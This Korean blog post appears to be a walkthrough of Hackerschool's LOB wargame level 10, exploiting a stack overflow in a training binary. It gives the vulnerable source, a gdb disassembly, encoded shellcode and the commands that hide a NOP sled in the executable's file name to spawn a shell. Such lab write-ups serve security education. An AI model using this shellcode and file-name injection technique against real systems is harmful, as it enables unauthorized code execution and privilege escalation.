본문 바로가기

Pwnable/LOB

[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level10

vampire에 로그인하면 skeleton 실행 파일과 skeleton.c 소스 파일이 보인다. 소스 코드부터 확인해주었다.

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i, saved_argc;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	// argc saver
	saved_argc = argc;

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// ultra argv hunter!
	for(i=0; i<saved_argc; i++)
		memset(argv[i], 0, strlen(argv[i]));
}

argc가 2 이상이여야 하고, 환경 변수는 모두 0으로 초기화되며, ret의 시작주소가 \xbf여야 하고 argv[1]의 길이가 48이여야 한다. 이후에 buffer와 argv를 모두 0으로 초기화 한다. 

내가 입력할 수 있는 부분은 전부 다 0으로 초기화 하기 때문에, 내가 입력하지 않고도 스택에 저장되는 값들 중에 조작할 수 있을만한 것을 찾아서 그 곳을 공략해야 한다는 생각이 든다.

skeleton2로 복사후에 해당 파일을 디버깅해서 공간들을 찾아보았다. 지금까지는 x/wx를 이용해서 16진수로 값을 찾았었지만, x/s를 이용해서 문자열 형태로 출력해서 눈에 익는 무언가가 있는지 확인 해볼 예정이다. 중단점은 main+0에 걸었으며, 인자는 argv[1]에 "\xbf" 48개를 넘겨주었다.

x/20s를 이용해서 esp부터 스택의 끝까지 무작정 찾아보았다. 어셈블리 코드는 다음과 같다.

 

(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
0x8048503 <main+3>:	sub    %esp,48
0x8048506 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:	jg     0x8048523 <main+35>
0x804850c <main+12>:	push   0x80486d0
0x8048511 <main+17>:	call   0x8048410 <printf>
0x8048516 <main+22>:	add    %esp,4
0x8048519 <main+25>:	push   0
0x804851b <main+27>:	call   0x8048420 <exit>
0x8048520 <main+32>:	add    %esp,4
0x8048523 <main+35>:	nop    
0x8048524 <main+36>:	mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>:	nop    
0x804852c <main+44>:	lea    %esi,[%esi*1]
0x8048530 <main+48>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>:	lea    %edx,[%eax*4]
0x804853a <main+58>:	mov    %eax,%ds:0x8049804
0x804853f <main+63>:	cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>:	jne    0x8048547 <main+71>
0x8048545 <main+69>:	jmp    0x8048587 <main+135>
0x8048547 <main+71>:	mov    %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>:	lea    %edx,[%eax*4]
0x8048551 <main+81>:	mov    %eax,%ds:0x8049804
0x8048556 <main+86>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>:	push   %edx
0x804855a <main+90>:	call   0x80483f0 <strlen>
0x804855f <main+95>:	add    %esp,4
0x8048562 <main+98>:	mov    %eax,%eax
0x8048564 <main+100>:	push   %eax
0x8048565 <main+101>:	push   0
0x8048567 <main+103>:	mov    %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>:	lea    %edx,[%eax*4]
0x8048571 <main+113>:	mov    %eax,%ds:0x8049804
0x8048576 <main+118>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>:	push   %edx
0x804857a <main+122>:	call   0x8048430 <memset>
0x804857f <main+127>:	add    %esp,12
0x8048582 <main+130>:	inc    DWORD PTR [%ebp-44]
0x8048585 <main+133>:	jmp    0x8048530 <main+48>
0x8048587 <main+135>:	mov    %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>:	add    %eax,4
0x804858d <main+141>:	mov    %edx,DWORD PTR [%eax]
0x804858f <main+143>:	add    %edx,47
0x8048592 <main+146>:	cmp    BYTE PTR [%edx],0xbf
0x8048595 <main+149>:	je     0x80485b0 <main+176>
0x8048597 <main+151>:	push   0x80486dc
0x804859c <main+156>:	call   0x8048410 <printf>
0x80485a1 <main+161>:	add    %esp,4
0x80485a4 <main+164>:	push   0
0x80485a6 <main+166>:	call   0x8048420 <exit>
0x80485ab <main+171>:	add    %esp,4
0x80485ae <main+174>:	mov    %esi,%esi
0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	call   0x80483f0 <strlen>
0x80485be <main+190>:	add    %esp,4
0x80485c1 <main+193>:	mov    %eax,%eax
0x80485c3 <main+195>:	cmp    %eax,48
0x80485c6 <main+198>:	jbe    0x80485e0 <main+224>
0x80485c8 <main+200>:	push   0x80486f9
0x80485cd <main+205>:	call   0x8048410 <printf>
0x80485d2 <main+210>:	add    %esp,4
0x80485d5 <main+213>:	push   0
0x80485d7 <main+215>:	call   0x8048420 <exit>
0x80485dc <main+220>:	add    %esp,4
0x80485df <main+223>:	nop    
0x80485e0 <main+224>:	mov    %eax,DWORD PTR [%ebp+8]
0x80485e3 <main+227>:	mov    DWORD PTR [%ebp-48],%eax
0x80485e6 <main+230>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485e9 <main+233>:	add    %eax,4
0x80485ec <main+236>:	mov    %edx,DWORD PTR [%eax]
0x80485ee <main+238>:	push   %edx
0x80485ef <main+239>:	lea    %eax,[%ebp-40]
0x80485f2 <main+242>:	push   %eax
0x80485f3 <main+243>:	call   0x8048440 <strcpy>
0x80485f8 <main+248>:	add    %esp,8
0x80485fb <main+251>:	lea    %eax,[%ebp-40]
0x80485fe <main+254>:	push   %eax
0x80485ff <main+255>:	push   0x8048710
0x8048604 <main+260>:	call   0x8048410 <printf>
0x8048609 <main+265>:	add    %esp,8
0x804860c <main+268>:	push   40
0x804860e <main+270>:	push   0
0x8048610 <main+272>:	lea    %eax,[%ebp-40]
0x8048613 <main+275>:	push   %eax
0x8048614 <main+276>:	call   0x8048430 <memset>
0x8048619 <main+281>:	add    %esp,12
0x804861c <main+284>:	mov    DWORD PTR [%ebp-44],0x0
0x8048623 <main+291>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048626 <main+294>:	cmp    %eax,DWORD PTR [%ebp-48]
0x8048629 <main+297>:	jl     0x8048630 <main+304>
0x804862b <main+299>:	jmp    0x8048670 <main+368>
0x804862d <main+301>:	lea    %esi,[%esi]
0x8048630 <main+304>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048633 <main+307>:	lea    %edx,[%eax*4]
0x804863a <main+314>:	mov    %eax,DWORD PTR [%ebp+12]
0x804863d <main+317>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048640 <main+320>:	push   %edx
0x8048641 <main+321>:	call   0x80483f0 <strlen>
0x8048646 <main+326>:	add    %esp,4
0x8048649 <main+329>:	mov    %eax,%eax
0x804864b <main+331>:	push   %eax
0x804864c <main+332>:	push   0
0x804864e <main+334>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048651 <main+337>:	lea    %edx,[%eax*4]
0x8048658 <main+344>:	mov    %eax,DWORD PTR [%ebp+12]
0x804865b <main+347>:	mov    %edx,DWORD PTR [%eax+%edx]
0x804865e <main+350>:	push   %edx
0x804865f <main+351>:	call   0x8048430 <memset>
0x8048664 <main+356>:	add    %esp,12
0x8048667 <main+359>:	inc    DWORD PTR [%ebp-44]
0x804866a <main+362>:	jmp    0x8048623 <main+291>
0x804866c <main+364>:	lea    %esi,[%esi*1]
0x8048670 <main+368>:	leave  
0x8048671 <main+369>:	ret    
0x8048672 <main+370>:	nop    
0x8048673 <main+371>:	nop    
0x8048674 <main+372>:	nop    
0x8048675 <main+373>:	nop    
0x8048676 <main+374>:	nop    
0x8048677 <main+375>:	nop    
0x8048678 <main+376>:	nop    
0x8048679 <main+377>:	nop    
0x804867a <main+378>:	nop    
0x804867b <main+379>:	nop    
0x804867c <main+380>:	nop    
0x804867d <main+381>:	nop    
0x804867e <main+382>:	nop    
0x804867f <main+383>:	nop    
End of assembler dump.

 

한참 넘기다 보면 환경변수가 저장된 곳을 볼 수 있지만, 해당 코드에선 환경 변수도 초기화하기 때문에 쓸모가 없다. 이렇게 해서는 초기화 되는 와중에 건드려지지 않는 값이 무엇인지 알 수 없기 때문에, main+351의 memset 함수 다음 줄까지 실행한 후에, 남아있는 값이 있는지 찾아보기로 했다. esp부터 시작해서 한참 읽어들이다가, 마지막 부분에서 이러한 값을 발견할 수 있었다.

 

아마도 실행 파일의 절대경로를 스택에 저장하는 듯 하다. 그렇다면 실행파일의 이름을 바꾸면 어떻게 될까. 

skeleton2의 이름을 `python "A"*150'` 으로 바꾸고 다시 디버깅 해보았다.

 

 

아까와 동일하게 0xbffffffc의 아래에 실행 파일의 절대 경로가 저장되었다. 이를 이용해서 공격을 할 수 있을 것 같다.

1.0xbffffffc에서 파일 경로 이름의 길이만큼 빼준 곳에서 "/home/vampire/"의 길이만큼 더해준 곳이 쉘 코드의 시작 지점 즉, ret에 저장될 주소이다.

2. 파일 이름은 "\x90"*102 + 쉘 코드 48바이트로 만들어 줌.

 

"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"

공격에 사용할 쉘 코드이다.

NOP을 102바이트만큼 작성한 이유는 NOP + 쉘 코드가 150바이트가 되게끔 하여서 파일 이름이 A 150개일 때와 동일한 길이로 작성해서 주소 계산을 용이하게 하기 위해서이다.

먼저, "/home/vampire/" 의 길이가 14이므로, 0xbfffff57부터 14개를 저장하면 0xbfffff65까지가 저장되고, 0xbfffff66부터 파일의 이름 즉, 쉘 코드가 저장된다. 따라서, ret에 0xbfffff66을 덮어씌우면 쉘 코드가 실행될 것이다. 혹시 모를 변수에 대비해 파일을 실행할 때 ./파일명 이 아닌 /home/vampire/파일명 으로 실행하였다.

 

[vampire@localhost vampire]$ mv AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*102 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[vampire@localhost vampire]$ /home/vampire/`python -c 'print "\x90"*102 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44 + "\x66\xff\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf???
Segmentation fault (core dumped)

실행했더니 core dumped가 발생하였다. gdb를 이용해 core의 내용을 확인해주었다.

 

Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0xbfffffd2 in ?? ()

0xbfffffd2를 참조할 수 없다고 한다. 실행파일의 이름이 저장되는 주소를 보니 0xbfffff66부터 0xbffffffa 까지인데, 쉘 코드가 중간에 끊기는 것이다. 그렇다면 실행파일의 이름 뒤에 NOP을 100개 붙여주고 ret에 덮을 주소에 100만큼을 빼주면 되지 않을까 싶어 다시 실행해보았다. ret에 덮을 주소는 0xbfffff02 이다.

 

쉘을 실행시키는데 성공하였다! 이제 원본 파일의 이름을 해당 이름으로 바꿔준 후에 실행시키면 된다.

 

성공적으로 skeleton의 권한을 얻어왔다. my-pass를 통해 패스워드를 확인한 후에 skeleton으로 로그인하면 된다.